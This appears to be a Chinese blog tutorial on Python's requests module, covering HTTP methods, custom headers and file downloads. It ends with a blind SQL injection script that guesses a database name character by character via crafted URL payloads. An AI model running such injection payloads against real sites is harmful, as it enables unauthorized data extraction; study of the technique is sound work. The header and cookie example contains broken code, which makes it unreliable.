python模块学习(三)

requests模块


请求方法

  • requests.get():获取HTML网页的主要方法,对应于HTTP的GET
  • requests.post():向HTML网页提交POST请求的方法,对应于HTTP的POST
  • requests.head():获取HTML网页头信息的方法,对应于HTTP的HEAD
  • requests.put():向HTML网页提交PUT请求,对应于HTTP的PUT
  • requests.patch():向HTML网页提交局部修改请求,对应于HTTP的PATCH
  • requests.delete():向HTML页面提交删除请求,对应于HTTP的DELETE

接下来以get方法为例子,最简单的自然是不带惨请求,用法如下

import requests

response = requests.get('http://xxx.xxx.xxx.xxx')

带参请求

定制头信息和cookie信息

import requests

url = 'http://xxx.xxx.xxx.xxx'
header = "{'user-agent': 'my-app/0.0.1''}"
cookie = "{'key':'value'}"

response = requests.get(url=url,header=header,cookie=cookie)

这时请求完成返回的response是一个对象,对象的属性如下

python模块学习(三)_第1张图片

除了200,我们还可能收到其他的状态码。下面有一个表格,供你参考不同的状态码代表什么,但不需要记住它们,在遇到问题的时候查询就好

python模块学习(三)_第2张图片

接着的属性时requests.content,它能把Response对象的内容以二进制数据的形式返回,适用于图片、音频、视频的下载,看个例子

import requests
res = requests.get('http://pic51.nipic.com/file/20141025/8649940_220505558734_2.jpg')
#发出请求,并把返回的结果放在变量res中
pic=res.content
#把Reponse对象的内容以二进制数据的形式返回
photo = open('ppt.jpg','wb')
#新建了一个文件ppt.jpg,这里的文件没加路径,它会被保存在程序运行的当前目录下。
#图片内容需要以二进制wb读写。你在学习open()函数时接触过它。
photo.write(pic) 
#获取pic的二进制内容
photo.close()
#关闭文件

而requests.text和content的用法是一样的,只不过这个用于取文本

import requests
#引用requests库
res = requests.get('https://localprod.pandateacher.com/python-manuscript/crawler-html/sanguo.md')
#下载《三国演义》第一回,我们得到一个对象,它被命名为res
novel=res.text
#把Response对象的内容以字符串的形式返回
k = open('《三国演义》.txt','a+')
#创建一个名为《三国演义》的txt文档,指针放在文件末尾,追加内容
k.write(novel)
#写进文件中     
k.close()
#关闭文档

在实际中我使用此模块主要写一些自动化脚本,根据页面返回的信息不同,发现不同点来跑我们想要的数据

比如sql盲注脚本

import requests


chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'
DBName_len = 7

def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   
    for i in range(1, DBName_len + 1):
        tempDBName = DBName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

 

你可能感兴趣的:(python学习笔记)